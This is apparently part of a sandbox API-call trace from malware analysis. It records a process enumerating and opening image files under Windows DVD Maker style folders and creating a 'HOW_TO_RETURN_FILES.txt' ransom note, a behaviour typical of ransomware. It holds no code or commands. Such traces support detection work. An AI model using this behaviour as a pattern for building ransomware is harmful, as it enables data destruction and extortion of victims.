CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="Heart_ButtonGraphic.png", cchWideChar=23, lpMultiByteStr=0x6aae44, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="Heart_ButtonGraphic.pngureB.png", lpUsedDefaultChar=0x37df4c) returned 23 [0125.728] CreateFileA (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Heart_ButtonGraphic.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\heart_buttongraphic.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xffffffff [0125.728] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6b7110 | out: lpFindFileData=0x6b7110) returned 1 [0125.728] AreFileApisANSI () returned 1 [0125.728] GetACP () returned 0x4e4 [0125.728] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="heart_glass_Thumbnail.bmp", cchWideChar=25, lpMultiByteStr=0x6aae44, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="heart_glass_Thumbnail.bmpeB.png", lpUsedDefaultChar=0x37df4c) returned 25 [0125.728] CreateFileA (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\heart_glass_Thumbnail.bmp" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\heart_glass_thumbnail.bmp"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xffffffff [0125.729] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6b7110 | out: lpFindFileData=0x6b7110) returned 1 [0125.729] AreFileApisANSI () returned 1 [0125.729] GetACP () returned 0x4e4 [0125.729] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="Heart_SelectionSubpicture.png", cchWideChar=29, lpMultiByteStr=0x6aae44, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="Heart_SelectionSubpicture.pngng", lpUsedDefaultChar=0x37df4c) returned 29 [0125.729] CreateFileA (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Heart_SelectionSubpicture.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\heart_selectionsubpicture.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xffffffff [0125.729] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6b7110 | out: lpFindFileData=0x6b7110) returned 1 [0125.729] AreFileApisANSI () returned 1 [0125.729] GetACP () returned 0x4e4 [0125.729] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="Heart_VideoInset.png", cchWideChar=20, lpMultiByteStr=0x6aae44, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="Heart_VideoInset.pngcture.png", lpUsedDefaultChar=0x37df4c) returned 20 [0125.729] CreateFileA (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Heart_VideoInset.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\heart_videoinset.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xffffffff [0125.729] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6b7110 | out: lpFindFileData=0x6b7110) returned 1 [0125.729] AreFileApisANSI () returned 1 [0125.729] GetACP () returned 0x4e4 [0125.729] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="HueCycle", cchWideChar=8, lpMultiByteStr=0x6aae44, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="HueCycledeoInset.png", lpUsedDefaultChar=0x37df4c) returned 8 [0125.729] AreFileApisANSI () returned 1 [0125.729] GetACP () returned 0x4e4 [0125.729] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x8, lpMultiByteStr=0x69d210, cbMultiByte=53, lpWideCharStr=0x37dce0, cchWideChar=260 | out: lpWideCharStr="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\HueCycle\\") returned 53 [0125.732] AreFileApisANSI () returned 1 [0125.732] GetACP () returned 0x4e4 [0125.732] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=".", cchWideChar=1, lpMultiByteStr=0x6b738c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dec0 | out: lpMultiByteStr=".", lpUsedDefaultChar=0x37dec0) returned 1 [0125.732] FindNextFileW (in: hFindFile=0x6ab350, lpFindFileData=0x6be208 | out: lpFindFileData=0x6be208) returned 1 [0125.732] AreFileApisANSI () returned 1 [0125.732] GetACP () returned 0x4e4 [0125.732] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="..", cchWideChar=2, lpMultiByteStr=0x6b738c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dec0 | out: lpMultiByteStr="..F", lpUsedDefaultChar=0x37dec0) returned 2 [0125.732] FindNextFileW (in: hFindFile=0x6ab350, lpFindFileData=0x6be208 | out: lpFindFileData=0x6be208) returned 1 [0125.732] AreFileApisANSI () returned 1 [0125.732] GetACP () returned 0x4e4 [0125.732] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="1047x576black.png", cchWideChar=17, lpMultiByteStr=0x6b738c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dec0 | out: lpMultiByteStr="1047x576black.png", lpUsedDefaultChar=0x37dec0) returned 17 [0125.732] CreateFileA (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\HueCycle\\1047x576black.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\huecycle\\1047x576black.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xffffffff [0125.732] FindNextFileW (in: hFindFile=0x6ab350, lpFindFileData=0x6be208 | out: lpFindFileData=0x6be208) returned 1 [0125.732] AreFileApisANSI () returned 1 [0125.732] GetACP () returned 0x4e4 [0125.732] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="15x15dot.png", cchWideChar=12, lpMultiByteStr=0x6b738c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dec0 | out: lpMultiByteStr="15x15dot.pngk.png", lpUsedDefaultChar=0x37dec0) returned 12 [0125.732] CreateFileA (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\HueCycle\\15x15dot.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\huecycle\\15x15dot.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xffffffff [0125.733] FindNextFileW (in: hFindFile=0x6ab350, lpFindFileData=0x6be208 | out: lpFindFileData=0x6be208) returned 1 [0125.733] AreFileApisANSI () returned 1 [0125.733] GetACP () returned 0x4e4 [0125.733] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="colorcycle.png", cchWideChar=14, lpMultiByteStr=0x6b738c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dec0 | out: lpMultiByteStr="colorcycle.pngpng", lpUsedDefaultChar=0x37dec0) returned 14 [0125.733] CreateFileA (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\HueCycle\\colorcycle.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\huecycle\\colorcycle.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xffffffff [0125.733] FindNextFileW (in: hFindFile=0x6ab350, lpFindFileData=0x6be208 | out: lpFindFileData=0x6be208) returned 1 [0125.733] AreFileApisANSI () returned 1 [0125.733] GetACP () returned 0x4e4 [0125.733] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="huemainsubpicture2.png", cchWideChar=22, lpMultiByteStr=0x6b738c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dec0 | out: lpMultiByteStr="huemainsubpicture2.pngM", lpUsedDefaultChar=0x37dec0) returned 22 [0125.733] CreateFileA (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\HueCycle\\huemainsubpicture2.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\huecycle\\huemainsubpicture2.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xffffffff [0125.733] FindNextFileW (in: hFindFile=0x6ab350, lpFindFileData=0x6be208 | out: lpFindFileData=0x6be208) returned 1 [0125.733] AreFileApisANSI () returned 1 [0125.733] GetACP () returned 0x4e4 [0125.734] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="NavigationLeft_ButtonGraphic.png", cchWideChar=32, lpMultiByteStr=0x6b738c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dec0 | out: lpMultiByteStr="NavigationLeft_ButtonGraphic.png\\", lpUsedDefaultChar=0x37dec0) returned 32 [0125.734] CreateFileA (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\HueCycle\\NavigationLeft_ButtonGraphic.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\huecycle\\navigationleft_buttongraphic.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xffffffff [0125.734] FindNextFileW (in: hFindFile=0x6ab350, lpFindFileData=0x6be208 | out: lpFindFileData=0x6be208) returned 1 [0125.734] AreFileApisANSI () returned 1 [0125.734] GetACP () returned 0x4e4 [0125.734] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="NavigationLeft_SelectionSubpicture.png", cchWideChar=38, lpMultiByteStr=0x6b738c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dec0 | out: lpMultiByteStr="NavigationLeft_SelectionSubpicture.pnga", lpUsedDefaultChar=0x37dec0) returned 38 [0125.734] CreateFileA (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\HueCycle\\NavigationLeft_SelectionSubpicture.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\huecycle\\navigationleft_selectionsubpicture.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xffffffff [0125.734] FindNextFileW (in: hFindFile=0x6ab350, lpFindFileData=0x6be208 | out: lpFindFileData=0x6be208) returned 1 [0125.734] AreFileApisANSI () returned 1 [0125.734] GetACP () returned 0x4e4 [0125.734] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="NavigationRight_ButtonGraphic.png", cchWideChar=33, lpMultiByteStr=0x6b738c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dec0 | out: lpMultiByteStr="NavigationRight_ButtonGraphic.pnge.png", lpUsedDefaultChar=0x37dec0) returned 33 [0125.734] CreateFileA (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\HueCycle\\NavigationRight_ButtonGraphic.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\huecycle\\navigationright_buttongraphic.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xffffffff [0125.734] FindNextFileW (in: hFindFile=0x6ab350, lpFindFileData=0x6be208 | out: lpFindFileData=0x6be208) returned 1 [0125.734] AreFileApisANSI () returned 1 [0125.734] GetACP () returned 0x4e4 [0125.734] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="NavigationRight_SelectionSubpicture.png", cchWideChar=39, lpMultiByteStr=0x6b738c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dec0 | out: lpMultiByteStr="NavigationRight_SelectionSubpicture.png", lpUsedDefaultChar=0x37dec0) returned 39 [0125.734] CreateFileA (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\HueCycle\\NavigationRight_SelectionSubpicture.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\huecycle\\navigationright_selectionsubpicture.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xffffffff [0125.735] FindNextFileW (in: hFindFile=0x6ab350, lpFindFileData=0x6be208 | out: lpFindFileData=0x6be208) returned 1 [0125.735] AreFileApisANSI () returned 1 [0125.735] GetACP () returned 0x4e4 [0125.735] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="NavigationUp_ButtonGraphic.png", cchWideChar=30, lpMultiByteStr=0x6b738c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dec0 | out: lpMultiByteStr="NavigationUp_ButtonGraphic.pngcture.png", lpUsedDefaultChar=0x37dec0) returned 30 [0125.735] CreateFileA (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\HueCycle\\NavigationUp_ButtonGraphic.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\huecycle\\navigationup_buttongraphic.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xffffffff [0125.735] FindNextFileW (in: hFindFile=0x6ab350, lpFindFileData=0x6be208 | out: lpFindFileData=0x6be208) returned 1 [0125.735] AreFileApisANSI () returned 1 [0125.735] GetACP () returned 0x4e4 [0125.735] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="NavigationUp_SelectionSubpicture.png", cchWideChar=36, lpMultiByteStr=0x6b738c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dec0 | out: lpMultiByteStr="NavigationUp_SelectionSubpicture.pngpng", lpUsedDefaultChar=0x37dec0) returned 36 [0125.735] CreateFileA (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\HueCycle\\NavigationUp_SelectionSubpicture.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\huecycle\\navigationup_selectionsubpicture.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xffffffff [0125.735] FindNextFileW (in: hFindFile=0x6ab350, lpFindFileData=0x6be208 | out: lpFindFileData=0x6be208) returned 1 [0125.735] AreFileApisANSI () returned 1 [0125.735] GetACP () returned 0x4e4 [0125.735] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="title_stripe.png", cchWideChar=16, lpMultiByteStr=0x6b738c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dec0 | out: lpMultiByteStr="title_stripe.pngectionSubpicture.png", lpUsedDefaultChar=0x37dec0) returned 16 [0125.735] CreateFileA (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\HueCycle\\title_stripe.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\huecycle\\title_stripe.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xffffffff [0125.735] FindNextFileW (in: hFindFile=0x6ab350, lpFindFileData=0x6be208 | out: lpFindFileData=0x6be208) returned 0 [0125.735] FindClose (in: hFindFile=0x6ab350 | out: hFindFile=0x6ab350) returned 1 [0125.736] AreFileApisANSI () returned 1 [0125.736] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x6aafd0, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 77 [0125.736] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\HueCycle\\HOW_TO_RETURN_FILES.txt" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\huecycle\\how_to_return_files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x37dbf8, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0125.737] GetFileType (hFile=0x130) returned 0x1 [0125.738] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6b7110 | out: lpFindFileData=0x6b7110) returned 1 [0125.738] AreFileApisANSI () returned 1 [0125.738] GetACP () returned 0x4e4 [0125.738] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="LayeredTitles", cchWideChar=13, lpMultiByteStr=0x6aae44, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="LayeredTitlesset.png", lpUsedDefaultChar=0x37df4c) returned 13 [0125.738] AreFileApisANSI () returned 1 [0125.738] GetACP () returned 0x4e4 [0125.738] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x8, lpMultiByteStr=0x69d210, cbMultiByte=58, lpWideCharStr=0x37dce0, cchWideChar=260 | out: lpWideCharStr="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\LayeredTitles\\\x04") returned 58 [0125.740] AreFileApisANSI () returned 1 [0125.740] GetACP () returned 0x4e4 [0125.740] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=".", cchWideChar=1, lpMultiByteStr=0x6b738c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dec0 | out: lpMultiByteStr=".V2Yf+OxAotefTVQff47pd28rrUw9w5pRXqpd85TNZLBcLzpT4rPdJAH8ZCtN+RJ9OX1UoAO8NWmV+JDB9lNS", lpUsedDefaultChar=0x37dec0) returned 1 [0125.740] FindNextFileW (in: hFindFile=0x6ab350, lpFindFileData=0x6be208 | out: lpFindFileData=0x6be208) returned 1 [0125.740] AreFileApisANSI () returned 1 [0125.740] GetACP () returned 0x4e4 [0125.740] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="..", cchWideChar=2, lpMultiByteStr=0x6b738c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dec0 | out: lpMultiByteStr="..2Yf+OxAotefTVQff47pd28rrUw9w5pRXqpd85TNZLBcLzpT4rPdJAH8ZCtN+RJ9OX1UoAO8NWmV+JDB9lNS", lpUsedDefaultChar=0x37dec0) returned 2 [0125.740] FindNextFileW (in: hFindFile=0x6ab350, lpFindFileData=0x6be208 | out: lpFindFileData=0x6be208) returned 1 [0125.740] AreFileApisANSI () returned 1 [0125.740] GetACP () returned 0x4e4 [0125.740] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="1047x576black.png", cchWideChar=17, lpMultiByteStr=0x6b738c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dec0 | out: lpMultiByteStr="1047x576black.pngf47pd28rrUw9w5pRXqpd85TNZLBcLzpT4rPdJAH8ZCtN+RJ9OX1UoAO8NWmV+JDB9lNS", lpUsedDefaultChar=0x37dec0) returned 17 [0125.741] CreateFileA (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\LayeredTitles\\1047x576black.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\layeredtitles\\1047x576black.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xffffffff [0125.741] AreFileApisANSI () returned 1 [0125.741] GetACP () returned 0x4e4 [0125.741] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="203x8subpicture.png", cchWideChar=19, lpMultiByteStr=0x6b738c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dec0 | out: lpMultiByteStr="203x8subpicture.png7pd28rrUw9w5pRXqpd85TNZLBcLzpT4rPdJAH8ZCtN+RJ9OX1UoAO8NWmV+JDB9lNS", lpUsedDefaultChar=0x37dec0) returned 19 [0125.742] AreFileApisANSI () returned 1 [0125.742] GetACP () returned 0x4e4 [0125.742] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="blackbars60.png", cchWideChar=15, lpMultiByteStr=0x6b738c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dec0 | out: lpMultiByteStr="blackbars60.png.png", lpUsedDefaultChar=0x37dec0) returned 15 [0125.742] AreFileApisANSI () returned 1 [0125.742] GetACP () returned 0x4e4 [0125.742] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="layers.png", cchWideChar=10, lpMultiByteStr=0x6b738c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dec0 | out: lpMultiByteStr="layers.png0.png", lpUsedDefaultChar=0x37dec0) returned 10 [0125.742] AreFileApisANSI () returned 1 [0125.742] GetACP () returned 0x4e4 [0125.742] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="NavigationLeft_ButtonGraphic.png", cchWideChar=32, lpMultiByteStr=0x6b738c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dec0 | out: lpMultiByteStr="NavigationLeft_ButtonGraphic.pngRXqpd85TNZLBcLzpT4rPdJAH8ZCtN+RJ9OX1UoAO8NWmV+JDB9lNS", lpUsedDefaultChar=0x37dec0) returned 32 [0125.743] AreFileApisANSI () returned 1 [0125.743] GetACP () returned 0x4e4 [0125.743] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="NavigationLeft_SelectionSubpicture.png", cchWideChar=38, lpMultiByteStr=0x6b738c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dec0 | out: lpMultiByteStr="NavigationLeft_SelectionSubpicture.png5TNZLBcLzpT4rPdJAH8ZCtN+RJ9OX1UoAO8NWmV+JDB9lNS", lpUsedDefaultChar=0x37dec0) returned 38 [0125.743] AreFileApisANSI () returned 1 [0125.743] GetACP () returned 0x4e4 [0125.744] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="NavigationRight_ButtonGraphic.png", cchWideChar=33, lpMultiByteStr=0x6b738c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dec0 | out: lpMultiByteStr="NavigationRight_ButtonGraphic.pnge.png", lpUsedDefaultChar=0x37dec0) returned 33 [0125.744] AreFileApisANSI () returned 1 [0125.744] GetACP () returned 0x4e4 [0125.744] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="NavigationRight_SelectionSubpicture.png", cchWideChar=39, lpMultiByteStr=0x6b738c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dec0 | out: lpMultiByteStr="NavigationRight_SelectionSubpicture.pngTNZLBcLzpT4rPdJAH8ZCtN+RJ9OX1UoAO8NWmV+JDB9lNS", lpUsedDefaultChar=0x37dec0) returned 39 [0125.745] AreFileApisANSI () returned 1 [0125.745] GetACP () returned 0x4e4 [0125.745] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="NavigationUp_ButtonGraphic.png", cchWideChar=30, lpMultiByteStr=0x6b738c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dec0 | out: lpMultiByteStr="NavigationUp_ButtonGraphic.pngcture.png", lpUsedDefaultChar=0x37dec0) returned 30 [0125.745] AreFileApisANSI () returned 1 [0125.745] GetACP () returned 0x4e4 [0125.745] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="NavigationUp_SelectionSubpicture.png", cchWideChar=36, lpMultiByteStr=0x6b738c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dec0 | out: lpMultiByteStr="NavigationUp_SelectionSubpicture.pngpng", lpUsedDefaultChar=0x37dec0) returned 36 [0125.746] AreFileApisANSI () returned 1 [0125.746] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x6aafd0, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 82 [0125.749] AreFileApisANSI () returned 1 [0125.749] GetACP () returned 0x4e4 [0125.749] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="Memories", cchWideChar=8, lpMultiByteStr=0x6aae44, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="Memoriesitles", lpUsedDefaultChar=0x37df4c) returned 8 [0125.749] AreFileApisANSI () returned 1 [0125.749] GetACP () returned 0x4e4 [0125.749] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x8, lpMultiByteStr=0x69d210, cbMultiByte=53, lpWideCharStr=0x37dce0, cchWideChar=260 | out: lpWideCharStr="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Memories\\") returned 53 [0125.807] AreFileApisANSI () returned 1 [0125.807] GetACP () returned 0x4e4 [0125.807] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=".", cchWideChar=1, lpMultiByteStr=0x6b738c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dec0 | out: lpMultiByteStr=".V2Yf+OxAotefTVQff47pd28rrUw9w5pRXqpd85TNZLBcLzpT4rPdJAH8ZCtN+RJ9OX1UoAO8NWmV+JDB9lNS", lpUsedDefaultChar=0x37dec0) returned 1 [0125.807] FindNextFileW (in: hFindFile=0x6ab350, lpFindFileData=0x6be208 | out: lpFindFileData=0x6be208) returned 1 [0125.807] AreFileApisANSI () returned 1 [0125.807] GetACP () returned 0x4e4 [0125.807] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="..", cchWideChar=2, lpMultiByteStr=0x6b738c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dec0 | out: lpMultiByteStr="..2Yf+OxAotefTVQff47pd28rrUw9w5pRXqpd85TNZLBcLzpT4rPdJAH8ZCtN+RJ9OX1UoAO8NWmV+JDB9lNS", lpUsedDefaultChar=0x37dec0) returned 2 [0125.807] FindNextFileW (in: hFindFile=0x6ab350, lpFindFileData=0x6be208 | out: lpFindFileData=0x6be208) returned 1 [0125.807] AreFileApisANSI () returned 1 [0125.807] GetACP () returned 0x4e4 [0125.808] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="16_9-frame-background.png", cchWideChar=25, lpMultiByteStr=0x6b738c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dec0 | out: lpMultiByteStr="16_9-frame-background.pngrUw9w5pRXqpd85TNZLBcLzpT4rPdJAH8ZCtN+RJ9OX1UoAO8NWmV+JDB9lNS", lpUsedDefaultChar=0x37dec0) returned 25 [0125.808] CreateFileA (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Memories\\16_9-frame-background.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\memories\\16_9-frame-background.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xffffffff [0125.808] FindNextFileW (in: hFindFile=0x6ab350, lpFindFileData=0x6be208 | out: lpFindFileData=0x6be208) returned 1 [0125.808] AreFileApisANSI () returned 1 [0125.809] GetACP () returned 0x4e4 [0125.809] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="16_9-frame-highlight.png", cchWideChar=24, lpMultiByteStr=0x6b738c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dec0 | out: lpMultiByteStr="16_9-frame-highlight.pngg", lpUsedDefaultChar=0x37dec0) returned 24 [0125.809] CreateFileA (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Memories\\16_9-frame-highlight.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\memories\\16_9-frame-highlight.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, 